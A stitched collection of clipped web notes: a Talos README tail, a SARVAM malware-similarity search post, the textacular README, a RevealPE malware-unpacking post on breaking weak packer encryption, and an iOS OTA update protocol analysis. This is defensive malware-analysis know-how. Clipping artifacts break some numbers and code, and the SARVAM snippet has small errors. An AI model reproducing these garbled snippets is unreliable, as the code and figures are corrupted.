    k8s.io      0ca1fc5944d6ed075a33197921e0ca4dd4937ae243e428b570fea87ff34f1811   sha256:da86e6ba6ca197bf6bc5e9d900febd906b133eaa4750e6bed647b0fbe50ed43e   2341   RUNNING
    k8s.io      356fc70fa1ba691deadf544b9ab4ade2256084a090a711eec3e70fc810709374   sha256:da86e6ba6ca197bf6bc5e9d900febd906b133eaa4750e6bed647b0fbe50ed43e   2342   RUNNING
    ...
    k8s.io      e42ec788edc1e3af71cb6fa151dd8cc1076906dbe09d7099697f36069e38b5a8   sha256:4ff8d484069d463252df6a461ba13f073b247a4f19e421b3117c584d39b4a67f   2508   RUNNING
    k8s.io      kubelet                                                            k8s.gcr.io/hyperkube:v1.13.2                                              2068   RUNNING
[/code]

## Contributing

See CONTRIBUTING.md

## Contact

### Slack

If you would like to participate in discussions about Talos, please send an
email to maintainers@autonomy.io with the subject line "Slack Invite", and we
would be happy to send an invite to our workspace.

> It is important that the subject line is _exactly_ "Slack Invite" \(exclude
> the double quotes\).
### Twitter

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f747769747465722f666f6c6c6f772f6175746f6e6f6d79696f2e7376673f7374796c653d736f6369616c'
width='162' height='20' alt='Twitter Follow' />

## Changelog

See CHANGELOG.md

## FAQs

**Why "Talos"?**

> Talos was an automaton created by the Greek God of the forge to protect the
> island of Crete. He would patrol the coast and enforce laws throughout the
> land. We felt it was a fitting name for a security focused Linux
> distribution designed to run Kubernetes.
**Why no shell or SSH?**

> We would like for Talos users to start thinking about what a "machine" is in
> the context of a Kubernetes cluster. That is that a Kubernetes _cluster_ can
> be thought of as one massive machine and the _nodes_ merely as additional
> resources. We don't want humans to focus on the _nodes_ , but rather the
> _machine_ that is the Kubernetes cluster. Should an issue arise at the node
> level, osctl should provide the necessary tooling to assist in the
> identification, debugging, and remediation of the issue. However, the API is
> based on the Principle of Least Privilege, and exposes only a limited set of
> methods. We aren't quite there yet, but we envision Talos being a great
> place for the application of control theory in order to provide a self-
> healing platform.
**How is Talos different than CoreOS/RancherOS/Linuxkit?**

> Talos is similar in many ways, but there are some differences that make it
> unique. You can imagine Talos as a container image, in that it is immutable
> and built with a single purpose in mind. In this case, that purpose is
> Kubernetes. Talos tightly integrates with Kubernetes, and is not meant to be
> a general use Linux distribution. This allows us to dramatically decrease
> the footprint of Talos, and in turn improve a number of other areas like
> security, predictability, and reliability. In addition to this, interaction
> with the host is done through a secure gRPC API. If you want to run
> Kubernetes with zero cruft, Talos is the perect fit.
## License

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d4d504c253230322e302d627269676874677265656e2e7376673f7374796c653d666c61742d737175617265'
width='104' height='20' alt='License: MPL 2.0' />

  

# Finding Visually Similar Malware among Millions of Malware

**Created:**| _10/9/2013 7:29:15 AM_  
---|---  
**Updated:**| _10/9/2013 7:29:15 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis visualization_  
  

# **F** inding Visually Similar Malware among Millions of Malware****

Here, I will briefly describe how our malware search and retrieval system
\(SARVAM \) works**.** Rather than use traditional static/dynamic analysis, we
use malware content based search and retrieval to find similar malware
variants**.** Our binary corpus \(approximately **4 million**\) comprises
mostly malware and a few benign samples**.** Given a binary query, we first
compute a fingerprint based on the binary content of the query \(approx**50
ms\)** and then do fast matching with the fingerprints from our database to
return the top most visually \(structurally\) similar variants**.** The
fingerprint that captures malware similarity is based on image similarity
\(like Google Images \)**.** It takes less than **3 seconds** to find matches
for a given query**.** This works on both **unpacked** and**packed malware**
variants and all it needs is one sample variant to already exist in the
database**.**

In our previous works, we have shown how image based similarity can be used
for malware visualization and classification , malware detection  apart from a
comparison with dynamic analysis **.** We also have a Malware Image Album
with some malware visualizations**.** Here, we demonstrate its efficacy on
large scale malware search and retrieval**.**

Our server has been running for the past 15 months during which we have
received approximately 212,000 queries of which nearly 50% were variants of
malware already existing in our database**.** We will soon be increasing our
database to **10 million** samples \(may include mobile malware\) and also add
new features like section based search**.**

<img src='img/Temp2_3205.png' />

There are two phases in the system**.** During the initial phase, the image
similarity fingerprints for all the samples in the corpus are computed and a
Ball Tree is built for fast searching**.** The Antivirus labels for all the
samples are also obtained from Virustotal **.** In the query phase, the
fingerprint for the new sample is computed and matched with the existing
fingerprints in the database to retrieve the top matches**.** Based on the
nature of the matches and their distance from the query, we can predict the
nature of the query**.**

<img src='img/Temp2_3201.png' />

###  Step 1: Convert the Malware Corpus to Digital Images \(Optional****\)

The first step is to convert all the samples to digital images**.** The image
similarity fingerprints \(feature vectors\) will be computed on these
images**.** It is also possible to compute the fingerprints in memory without
actually saving the image on disk**.** In this example however, we show how to
convert a binary to an image and save it to disk:

[code]

    import numpy,scipy, os, array
    
    filename = '459d5f31810de899f7a4b37837e67763';
    f = open(filename,'rb');
    ln = os.path.getsize(filename); # length of file in bytes
    width = 256;
    rem = ln%width; 
    
    a = array.array("B"); # uint8 array
    a.fromfile(f,ln-rem);
    f.close(); 
    
    g = numpy.reshape(a,(len(a)/width,width));
    g = numpy.uint8(g);
    scipy.misc.imsave('459d5f31810de899f7a4b37837e67763.png',g); # save the image
[/code]

Note: This is just a simple way to represent a sample as an image**.** There
are other ways to do this too**.**

Here is the image after conversion:

<img src='img/Temp2_3206.png' width='200' height='197' />

If anyone is wondering how the inverted photo looks like, it's actually the
icon used by the malware executable**.** After extracting the icon using
standard tools \(and expanding a little\), this is how it looks:

<img src='img/Temp2_3200.png' />

Does anyone know who she is**?** :\)

###  Step 2: Compute the Feature Vectors****

Once the sample to image conversion is done, the next step is to compute a
compact fingerprint for every binary**.** This fingerprint captures the
structural/visual similarity between malware variants \(see Malware Images:
Visualization and Automatic Classification  for details\) and is comparable
with dynamic analysis \(click Here  for more\)**.** We will use the
_pyleargist_ package to compute**.** The computation time is roughly **50 ms
per sample**.****

[code]

    import Image,leargist
    im = Image.open('16db6e2a9998430df9017f5cc6dd41f8.png');
    im1 = im.resize((64,64)); # for faster computation
    des = leargist.color_gist(im1); # 960 values
    feature = des[0:320]; # since the image is grayscale, we need only first 320 values
[/code]

  
  
After computing the feature vectors for all the samples, save them as a numpy
array:

[code]

    save('corpus_features.npy',corpus_features); #  
[/code]

###  Step 3: Ball Tree for Fast Querying****

Ball Trees are data structures for fast nearest neighbor search in high
dimensional space.The first step is to create the tree for the corpus**.**
This could take a while depending on the number of feature vectors**.** It
took roughly 15 mins to create this Ball Tree in a single core machine**.**

[code]

    from sklearn.neighbors import BallTree
    f = numpy.load('corpus_features.npy') #43000000 rows, 320 cols  
    b=Balltree(f)
[/code]

###  Step 4: Querying the Tree****

Now that we have built the tree, the next step is to feed in a query**.** Lets
first try it on the malware with the picture of the girl
\(_459d5f31810de899f7a4b37837e67763\)_**.** First, we compute the feature
vector as per Step 2 and store it in a numpy array, say 'query\_feature'**.**
Then, we get the top similar matches from our database of feature vectors**.**

[code]

    import time
    tic = time.time() 
    dist,ind = b.query(query_feature,k=5) # 5 top matches
    toc = time.time()
    print "Time to query 4+ million corpus (in secs) = ", toc-tic
     
    Time to query 4+ million corpus (in secs) =  2**.** 48625802994 
     
    print dist
    [[  7.91056426e-07   7.91056426e-07   7.91056426e-07   7**.** 91056426e-07
        7.91056426e-07]]
    print ind
    [[1128082 1615124 1510134 1380863 2076040]]
[/code]

We see that it only takes approximately **2**.** 5 seconds** to query the tree
to obtain the top 5 matches**.** What we get are the nearest neighbor
distances of the query feature vector with other feature vectors in the
database and their corresponding indices**.** From the distances, we observe
that all of them are the same \(approximately zero\)**.** This means that
these are variants of the query with very small differences**.** In order to
know which binaries they correspond to, we first store the corresponding MD5s
in another file, corpus\_md5**.** p, and then load this file to get the
hashes. \(there are other ways to do this too\)

[code]

    corp_md5 = cPickle.load(open('corpus_md5**.** p','rb'))
    for i in range(len(ind[0])):
      print corp_md5[ind[0][i]]
    
    3e19a2e353ea4ec77e590d0f574c4632
    504097b04f942ec250836705861472c6
    0089df99c074f78f8ec2af10ca76ad82
    459d5f31810de899f7a4b37837e67763
    fa8d3ed38f5f28368db4906cb405a503
[/code]

We can see that one of the hash is the query hash itself, which means that the
query is already there in the corpus \(of course, this could have been checked
by loading the corpus\_md5 file at first itself**\!**\). The rest four are
variants of the same malware**.**

<img src='img/Temp2_3209.png' />

###  Confidence of the matches \(Qualitative****\)

Based on the distance returned by querying the balltree, we give qualitative
tags of how good the match is**.** A low distance means the match is very
similar to the query and we give it a tag of 'Very High Confidence**.** ' As
the distance increases, we give qualitative tags: 'High Confidence', 'Low
Confidence' and 'Very Low Confidence'**.**

**Very High Confidence Match**

A Very High Confidence match usually means that the query and the match are
more or less the same**.** They just differ in a few bytes. The example below
will help illustrate this better**.**

<img src='img/Temp2_3206.png' width='200' height='198' /> <img
src='http://1.bp.blogspot.com/-3rRgCMj_uTE/T7Q2-vtYrHI/AAAAAAAAKhY/Bq3wLrignhs/s200/fa8d3ed38f5f28368db4906cb405a503.png'
width='200' height='198' /> <img src='img/Temp2_3211.png' width='200'
height='198' />

The image in the left is of the query \(459d5f31810de899f7a4b37837e67763 \)
and the second image is the most similar malware \(top match\) to the query
\(fa8d3ed38f5f28368db4906cb405a503 \)**.** If we take a byte by byte
difference between the query and the match, we see that most of the difference
image is zero**.** Only 323 bytes out of 146304 bytes \(0.22%\) are non-
zero**.** The distance of the match from the query will usually be lesser than
0**.** 1

**High Confidence Match:**

When we talk about a high confidence match, most parts of the query and match
are the same but there is a significant portion that is different as we see
below**.**

<img src='img/Temp2_3202.png' width='163' height='200' /> <img
src='img/Temp2_3204.png' width='163' height='200' /> <img
src='img/Temp2_3212.png' width='163' height='200' />

Although the images of the input query \(1a24c1b2fa5d59eeef02bfc2c26f3753\)
and the top match \(24faae39c38cfd823d56ba547fb368f7 \) appear the same
visually, the difference image shows that 11,108 out of 80,128 non-zero values
\(13**.** 86%\)**.** Most variants in this category are usually packed
variants which have different decryption keys**.** The distance between the
query and the top match will usually be between 0**.** 1 and 0.25 \(approx\).

**Low Confidence Match:**

For low confidence matches, a major portion of the query and the top match are
different**.** Again, we don't see any visual difference but the difference
image clearly shows the huge difference in bytes**.** These would usually be
for packed variants \(UPX in this case\)**.**

<img src='img/Temp2_3208.png' width='133' height='200' /> <img
src='img/Temp2_3210.png' width='133' height='200' /> <img
src='img/Temp2_3207.png' width='133' height='200' />

Again, the images of the input query \(271ae0323b9f4dd96ef7c2ed98b5d43e \) and
the top match \(e0a51ad3e1b2f736dd936860b27df518\) do not show a major visual
difference**.** But from the difference image, we see that 75,353 out of 98304
non zero \(76**.** 6%\). The distance is usually greater than 0.25 and less
than 0**.** 4

Low Confidence matches also end up in a lot of **False Positives** \(meaning
the query match really won't make sense\) and hence they are tagged as 'low
confidence'**.** If the match is low confidence, its better to visually
analyze the query and the match before arriving at a conclusion**.**

For matches with Very Low confidence, in most of the cases the results don't
really match the query**.** These are cases where the distance is greater than
0**.** 4

###  Nature of a Match/Binary \(Qualitative****\)

For every binary in our database, we obtain the Antivirus \(AV\) labels from
Virustotal periodically**.** This is because the Virustotal database sometimes
update their labels from time to time**.** We only use the count of the number
of labels \(excluding None labels\) to give a qualitative tag for a
binary**.**

**Benign:** No AV labels \(all None\)

**Possibly Benign:** Only few AV labels \(less than 5\), rest None

**Possibly Malicious:** There are a sufficient number of AV labels

**Malware:** Many AV labels

**Unknown:** No AV label information \(usually updated at a later time\)

###  Statistics of Current Uploads****

As of now, we have received close to 212,000 uploads of which close to 37%
fall under Very High Confidence, 8% under High Confidence, 49**.** 5% under
Low confidence and 5.5% under Very Low Confidence**.**

<img src='img/Temp2_3203.png' />

###  Related Publications****

_ "SigMal: A Static Signal Processing Based Malware Triage"**.** _ Dhilung
Kirat, Lakshmanan Nataraj, Giovanni Vigna and B.S Manjunath - ACSAC 2013  
  
_ "A Comparative Assessment of Malware Classification using Binary Texture
Analysis and Dynamic Analysis"**.** _ Lakshmanan Nataraj, Vinod Yegneswaran,
Phil Porras, Jian Zhang - AISec 2011  
  
_ "Malware Images : Visualization and Automatic Classification"**.** _
Lakshmanan Nataraj, S. Karthikeyan, Gregoire Jacob, B.S Manjunath - VizSec
2011

****

# textacular/textacular

**Created:**| _7/30/2013 9:23:25 AM_  
---|---  
**Updated:**| _7/30/2013 9:23:25 AM_  
**Author:**| __  
**Tags:**| _searching postgres_  
  

# **t** extacular****

Further documentation available at http://textacular.github.com/textacular
**.**

##  DESCRIPTION**** :

Textacular exposes full text search capabilities from PostgreSQL, extending
ActiveRecord with scopes making search easy and fun**\!**

##  FEATURES/PROBLEMS**** :

  * Only works with PostgreSQL

##  SYNOPSIS**** :

###  Quick Start****

####  Rails 3 \(or 4******\!**\)

In the project's Gemfile add

[code]

    gem 'textacular', '~> 3**.** 0'
    
[/code]

####  ActiveRecord outside of Rails****

[code]

    require 'textacular'
    
    ActiveRecord::Base.extend(Textacular)
    
[/code]

###  Usage****

Your models now have access to search methods:

The `#basic_search` method is what you might expect: it looks literally for
what you send to it, doing nothing fancy with the input:

[code]

    Game.basic_search('Sonic') # will search through the model's :string columns
    Game.basic_search(title: 'Mario', system: 'Nintendo')
    
[/code]

The `#advanced_search` method lets you use Postgres's search syntax like '|',
'&' and '**\!** ' \('or', 'and', and 'not'\) as well as some other
craziness**.** Check the Postgres docs  for more:

[code]

    Game.advanced_search(title: 'Street|Fantasy')
    Game.advanced_search(system: '**!** PS2')
    
[/code]

Finally, the `#fuzzy_search` method lets you use Postgres's trigram search
funcionality**.**

In order to use this, you'll need to make sure your database has the `pg_trgm`
module installed**.** On your development machine, you can `require
textacular/tasks` and run

[code]

    rake textacular:install_trigram
    
[/code]

Depending on your production environment, you might be able to use the rake
task, or you might have to manually run a command**.** For Postgres 9.1 and
above, you'll want to run

[code]

    CREATE EXTENSION pg_trgm;
    
[/code]

Once that's installed, you can use it like this:

[code]

    Comic.fuzzy_search(title: 'Questio') # matches Questionable Content
    
[/code]

Searches are also chainable:

[code]

    Game.fuzzy_search(title: 'tree').basic_search(system: 'SNES')
    
[/code]

If you want to search on two or more fields with the OR operator use a hash
for the conditions and pass false as the second parameter:

[code]

    Game.basic_search({name: 'Mario', nickname: 'Mario'}, false)
    
[/code]

###  Setting Language****

To set proper searching dictionary just override class method on your model:

[code]

    def self.searchable_language
      'russian'
    end
    
[/code]

And all your queries would go right**\!** And don\`t forget to change the
migration for indexes, like shown below**.**

###  Creating Indexes for Super Speed****

You can have Postgresql use an index for the full-text search**.** To declare
a full-text index, in a migration add code like the following:

[code]

    execute "
        create index on email_logs using gin(to_tsvector('english', subject));
        create index on email_logs using gin(to_tsvector('english', email_address));"
    
[/code]

In the above example, the table email\_logs has two text columns that we
search against, subject and email\_address**.** You will need to add an index
for every text/string column you query against, or else Postgresql will revert
to a full table scan instead of using the indexes**.**

If you create these indexes, you should also switch to sql for your
schema\_format in `config/application**.** rb`:

[code]

    config.active_record.schema_format = :sql
    
[/code]

##  REQUIREMENTS**** :

  * ActiveRecord
  * Ruby 1**.** 9.2

##  INSTALL**** :

[code]

    $ gem install textacular
    
[/code]

##  Contributing****

Help is gladly welcomed**.** If you have a feature you'd like to add, it's
much more likely to get in \(or get in faster\) the closer you stick to these
steps:

  1. Open an Issue to talk about it**.** We can discuss whether it's the right direction or maybe help track down a bug, etc**.**
  2. Fork the project, and make a branch to work on your feature/fix**.** Master is where you'll want to start from**.**
  3. Write a test for the feature you are about to add
  4. Run the tests
  5. Turn the Issue into a Pull Request**.** There are several ways to do this, but hub  is probably the easiest**.**
  6. Bonus points if your Pull Request updates `CHANGES**.** md` to include a summary of your changes and your name like the other entries**.** If the last entry is the last release, add a new `## Unreleased` heading**.**

If you don't know how to fix something, even just a Pull Request that includes
a failing test can be helpful**.** If in doubt, make an Issue to discuss.

##  LICENSE**** :

\(The MIT License\)

Copyright \(c\) 2011 Aaron Patterson

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files \(the 'Software'\), to
deal in the Software without restriction, including without limitation the
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software**.**

THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT**.** IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE**.**

****

# Tools For Unpacking Malware, Part 2. Weak encryption algorithms

**Created:**| _9/4/2017 9:19:17 AM_  
---|---  
**Updated:**| _9/4/2017 9:19:17 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

27 August, 2017⁄

# Tools For Unpacking Malware, Part 2. Weak encryption algorithms

3 Votes

  

Some days ago I started a series of posts about tools and methods for
unpacking malware, here you can find the first part. Each malware/packer is
very different, and sometimes there are no generic ways to unpack them. But
sometimes we can find characteristics shared by a number of them. For example,
packers usually rely on weak encryption algorithms and, sometimes, it is
possible to attack them.

In this article I am going to write about some methods based on very simple
cryptography to attack these weak encryption algorithms used by packers. In
spite of the simplicity of these attacks, they are, still nowadays, very
effective against a significant number of malware families and packers, and
they can help to unpack automatically some samples.

First, I must say this is not new, it has been being used for long time. Here
there are some articles and tools:

  * Principles and practice of x-raying, great and maybe the first article about this, by Peter Ferrie.
  * XorSearch, by Didier Stevens.
  * Decoding XOR shellcode without a Key, by Chris Jordan.
  * UnXor, by Tomchop.
  * Deobfuscating Embedded Malware using Probable-Plaintext Attacks \(KANDI tool\), by Christian Wressnegger, Frank Boldewin, and Konrad Rieck.

I implemented a python tool \(revealpe.py\) performing these attacks. I tried
to put some of these attacks together in a tool, and I tried to do some
improvements, specially oriented to malware unpacking:

  * RevealPE

The tool is able to attack some algorithms based on XOR/ADD/ROL, with keys of
8 or 32 bits \(I think it is the most common in malware/packers\), with or
without key increments each round. In addition, it performs an specific attack
against vigenere-like sustitution ciphers that let’s to find some more complex
encryptions.

# Usage

<img src='img/tem.jpg' width='700' height='489' alt='tem' />

Results:

The script applies all the specified attacks on the target file. It could get
matches with different algorithms and keys. It will create files for each
result, whose names will have this format:

<original\_file\_name>.<algorithm>\_<offset\_match>\_<param1>\_<param2>.<dec|decpe>

The extension .dec is for the file raw decrypted with the algorithm and key
found. The extension .decpe is for the decrypted and extracted valid PE, if
found.

For example, for the sample f658526e1227c45415544063997b49c8, we obtain these
results:

  * f658526e1227c45415544063997b49c8.XOR1\_1f60\_88\_ff.dec
  * f658526e1227c45415544063997b49c8.XOR1\_1f60\_88\_ff.decpe
  * f658526e1227c45415544063997b49c8.XOR4\_1f60\_85868788\_fbfbfbfc.dec

Match was found at position 0x1f60. The results mean it can be decrypted with
xor\_byte, starting key 0x88, and increment 0xff. A result is got with
xor\_dword, starting key 0x85868788, increment 0xfbfbfbfc, but .decpe is not
generated, so the alg and key found was valid for the given plaintext but not
for the full PE \(probably it is a problem of alignment, and with the option
–check-unaligned it would get the good key for xor\_dword algorithm\).

Here you can watch a short video showing the usage of this tool:

RevealPE: tool for extracting embedded-encrypted PE files

# Examples of Weak Encryption Algorithms

Here there are some examples of weak algorithms that it is possible to attack.

## XOR or ADD \(Constant Key\)

P xor K = C -> K = C xor P

P add K = C -> K = C sub P

<img src='img/temp2.jpg' width='638' height='255' alt='temp.jpg' />

Example:

Initial key: 0x85, no increment.

<img src='img/temp1.jpg' width='700' height='448' alt='temp.jpg' />

##

## XOR or ADD \(Incremented Key, Constant Increment\)

Pi xor Ki = Ci -> Ki = Ci xor Pi -> K\(i\) – K\(i-1\) = Kinc

Pi add Ki = Ci -> Ki = Ci sub Pi -> K\(i\) – K\(i-1\) = Kinc

<img src='img/temp3.jpg' width='638' height='330' alt='temp.jpg' />

Example:

Initial key: 0x54, Increment: 0x92.

<img src='img/temp5.jpg' width='700' height='707' alt='temp.jpg' />

## Vigenere-Like

Ci = SUST\_TABLE\[ Pi \]

Indexes of positions with same values in plaintext, must be identical to
indexes of positions with same values in ciphertext, and we can create
signatures based on distance between same values to identify the position in
the ciphertext for the given plaintext.

Example:

<img src='img/temp7.jpg' width='700' height='487' alt='temp.jpg' />

Once a ciphertext for the plaintext is found, it is possible to start to
reconstruct a partial sustitution table: \(T -> 73\), \(h -> A2\), \(i ->
A6\), \(s -> FC\), \(space -> C5\), etc… \(In addition to parts of the PE
header, revealPE.py tool searchs for other wellknown plaintext to complete a
bit more the sustitution table, for example, common API names\).

In addition to create a partial sustitution table, revealPE.py bruteforces
some common algorithms by checking for each algorithm if it fits with the
reconstructed partial sustitution table \(revealPE.py bruteforces these
algorithms: xor-add-rol , xor-rol-add, add-xor-rol, add-rol-xor, rol-xor-add,
rol-add-xor, with all the possible keys\).

# Tests

I did some tests with a collection of exe files and other collection of pdf
files:

Exe files:

  * 93 exe files with embbeded-encrypted PE found.
  * 4453 exe files with no embbeded-encrypted PE found.

Pdf files:

  * 586 pdf files with encrypted PE found.
  * 44536 pdf files with no encrypted PE found.

The files were randomly choosen for the tests. Probably, most of them are not
packed files or they don’t contain any embedded/encrypted PE. For example,
revealPE didn’t find embedded PEs in 4453 exe files, but it doesn’t mean it
failed for this number of files, because probably most of them don’t contain
embedded PEs.

For a more accurate test I would need a collection of files that I am sure
they contain embedded PE files, to know exactly how many PEs revealPE was able
to decrypt.

The list of samples tested can be found here:

  * Exe tests
  * Pdf tests

### Compártelo:

  * Twitter
  * Facebook218
  * Google
  * 

### Like this:

 Like

Be the first to like this.

### _Related_

Tools For Unpacking Malware, Part 1. Dumping executables from RWE memoryIn
"Malware"

Monero Coin Mining MalwareIn "Malware"

Analysis of .Net malware: ransomware SamSamIn "Malware"

Posted in Malware⁄Leave a comment⁄

  

# iOS OTA Updates | Hydrant Labs
**Created:**| _9/26/2013 8:49:56 PM_  
---|---  
**Updated:**| _9/26/2013 8:49:56 PM_  
**Author:**| __  
**Tags:**| _apple protocol-analysis_  
  

# **i** OS OTA Update Protocol****

Since the public release of iOS 5 OTA \(Over the Air\) Updates have been a
reliable method for the easy distribution of iOS updates**.** I originally did
an analysis of how these updates work before the public release, I've since
updated that with new information, and clarified some of my original
thoughts**.**

iOS devices periodically query a url for information about the latest
updates**.** Almost all files and downloads relating to updates are served
from mesa.apple.com **.** iOS queries the following url:
/assets/com\_apple\_MobileAsset\_SoftwareUpdateDocumentation/com\_apple\_MobileAsset\_SoftwareUpdateDocumentation.xml
**.** The response is in the form of a Apple plist **.** Here's what a
response might look like:

[code]

    <plist version="1**.** 0">
        <dict>
            <key>Assets</key>
            <array>
                <dict>
                    <key>Device</key>
                    <string>iPad</string>
                    <key>OSVersion</key>
                    <string>7**.** 0</string>
                    <key>SUDocumentationID</key>
                    <string>iOS7GM</string>
                    <key>_CompressionAlgorithm</key>
                    <string>zip</string>
                    <key>_DownloadSize</key>
                    <integer>687867</integer>
                    <key>_MasteredVersion</key>
                    <string>380</string>
                    <key>_Measurement</key>
                    <data>z7s1R90oDGtSxYKDbZGbmvJfdMw=</data>
                    <key>_MeasurementAlgorithm</key>
                    <string>SHA-1</string>
                    <key>_UnarchivedSize</key>
                    <integer>1998379</integer>
                    <key>__AssetDefaultGarbageCollectionBehavior</key>
                    <string>NeverCollected</string>
                    <key>__BaseURL</key>
                    <string>http://appldnld.apple.com/iOS7/091-9234**.** 20130918.Aaq21/</string>
                    <key>__RelativePath</key>
                    <string>com_apple_MobileAsset_SoftwareUpdateDocumentation/60c6fcb4324b3bc0b4d815df93ffa64c900ce863.zip</string>
                </dict>
            </array>
            <key>Certificate</key>
            <data>
            MIID7TCCAtWgAwIBAgIBLTANBgkqhkiG9w0BAQUFADB5MQswCQYDVQQGEwJVUzETMBEGA1UEChMKQXBwbGUgSW5jLjEmMCQGA1UECxMdQXBwbGUgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxLTArBgNVBAMTJEFwcGxlIGlQaG9uZSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xMTA3MTQyMjMyNDhaFw0xODA3MTQyMjMyNDhaMGYxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpBcHBsZSBJbmMuMSEwHwYDVQQLExhBcHBsZSBpT1MgQXNzZXQgTWFuaWZlc3QxHzAdBgNVBAMTFkFzc2V0IE1hbmlmZXN0IFNpZ25pbmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC1y4D4VYBPHLwnHk1qfi1F49E3Ml675ElYYAFghqpAiKOqeagLVZU8zKuPw650NHACvNJbjKBjMsWdWaFMj/7c2TB5IkJwi61Y6B+uVK78W9u9I/hFAK0pWcM9Y5KbKMvz4wEwt64EXfS8eVBRmqh/29ygxN9NtBbHEiGiGQ8vxIV3U6FomNdmxKPM7VZmsyFIxQ5HsxgHb0skxlDIdePtYsHLmpK9PX43K3sBT3lHN0Uxtit8HTrdwiNq13cI0TINT+lsbXKLp3/gPJVpfxkQ3MTt40KG/DTMsqKOygDombsFSqA+RPSv68YtJ/kAaGaoH6gZfRrwX7GJozzQ8KTZAgMBAAGjgZIwgY8wDgYDVR0PAQH/BAQDAgeAMAkGA1Ud EwQCMAAwHQYDVR0OBBYEFGNQxP6y1Ao4Hrhid6BcMLwcrB3BMDgGA1UdHwQxMC8wLaAroCmGJ2h0dHA6Ly93d3cuYXBwbGUuY29tL2FwcGxlY2EvaXBob25lLmNybDAZBgNVHSABAf8EDzANMAsGCSqGSIb3Y2QFCDANBgkqhkiG9w0BAQUFAAOCAQEAn6Cj4XjlScRIh1wPF8BLCz/dl6CskbTsJXz24tCDm3gcvb1Ovc+sBeg1JyvHiy2C4NxEGDYsVYHvUbucXrGdul6kKauOYcEzpogk56BIRenKHivAqQQtNJpVmqrElgqDntI/az2Gsw32TLWyDXVw8rWivchZE+VOv1mT4a7LHsdxMWbEOIrkvkZUOoxZlQhjPCc22mp0Yy5rwcf+3/IwJGOhJSXOVrcxuOwmweNrK1Eajn+HS2IlnMBwQDkH/d74KUXGvuNX0LsXv9cCQMB8tcjFlr1u+SzoXCHD1SJkU4ex3auhnukYSoiag78twmDRk726aYmxNIfYYpDs0hS7Mw==
            </data>
            <key>FormatVersion</key>
            <integer>1</integer>
            <key>Signature</key>
            <data>
            X2lhRFJTVAcNkNpYEmGZzf+SJ5D7hRck3KbvVWJmzPlRVk4hfW1lc5nlyGMXKAzFz8YwDuaDL9au2WkuE8H8Z3xpkg1s64TRtpMwIPxjZQ+qvAseQ4F/3LymjDZaq7/qRad+fi/eJ577Fj6Rm9krvxqrDXGkwkCcFuLk/wGzzsYW/Y2/cRa04qTBz2gVlVlFP9QFCXEM8rXSkSlZ39XFLFHQyHmJNLYcCeTy6y0qaVWPrm6VI1muZqnw4+rEIwZk5HRIWfwt8lYHFjaBO+47eRiwJBfPCppKmBedW0lpUXaxmwD61CuKDE+zVTJKrQumGGkkSEH9j13jJWlHnOTWew==
            </data>
            <key>SigningKey</key>
            <string>AssetManifestSigning</string>
        </dict>
    </plist>
[/code]

This file contains references to the Documentation regarding each update**.**
The file containing the actual updates list is downloaded later**.** The
analysis of the individual keys:

The `Certificate` key seems to be a exact copy of the certificate that is
located on the FileSystem indicated by `Signing Key`**.**

The `FormatVersion` key indicates the how the plist is formatted**.** Since
iOS 5 the format has not changed, it remains FormatVersion "1"**.**

The `Signature` key contains a signature of the current file**.**

The `SigningKey` key indicates which key should be used to verify the updates
against**.** This is used in conjunction with the Signature key**.**

The `Assets` key contains an array of the availible updates**.** Each object
within the array contains the following keys:

The `Device` key contains one of the following values \(at this time\):
`iPhone`, `iPod`, `iPad`**.**

The `OSVersion` key is the version of the OS the update contains**.** For
instance: `5.1.1` or `6.1**.** 3`.

The `SUDocumentationID` key is the internal name used to identify the
update**.** For instance, iOS 6.1**.** 3 is identified by `613GM`.

The `_CompressionAlgorithm` key contains the format used to compress the OTA
update**.** In all cases I've seen, this has always been `zip`**.**

The `_DownloadSize` key contains the size of the documentation expressed in
bytes**.**

The `_MasteredVersion` key seems to have no relevance and internal uses
only**.**

The `_MeasurementAlgorithm` key contains the algorithm used to verify the
integrity of the file**.** In all cases I've seen this has been `SHA-1`

The `_Measurement` key is the value of the result of the
`_MeasurementAlgorithm` applied to the download**.**

The `_UnarchivedSize` key contains the size of the download once the download
has been unarchived**.** This is used to make sure there is enough space on
the File System**.**

The `__AssetDefaultGarbageCollectionBehavior` key seems to indicate that
assets when downloaded to the File System they can be removed \(Garbage
Collected\) if free space is needed**.** This key dictates that the files are
too important to be deleted**.** This is also marked for the actual OTA
updates.

The `__BaseURL` and `__RelativePath` keys are concatenated together to form
the download for the actual URL**.**

So, in order to analyze the Documentation files, let's pick one**.** I've
chosen the iOS 6.1**.** 3 update which can be downloaded here **.**

Once the file has been unzipped you'll find a folder structure formatted like
this:

[code]

    AssetData/
    Info.plist
    version.plist
[/code]

The `version.plist` contains some version information that seems to only have
internal uses**.**

The `Info.plist` looks like the following:

[code]

    <**?** xml version="1**.** 0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1**.** 0.dtd">
    <plist version="1.0">
    <dict>
        <key>CFBundleIdentifier</key>
        <string>com.apple.MobileAsset.SoftwareUpdateDocumentation</string>
        <key>CFBundleName</key>
        <string>SoftwareUpdateDocumentation</string>
        <key>CFBundleDevelopmentRegion</key>
        <string>English</string>
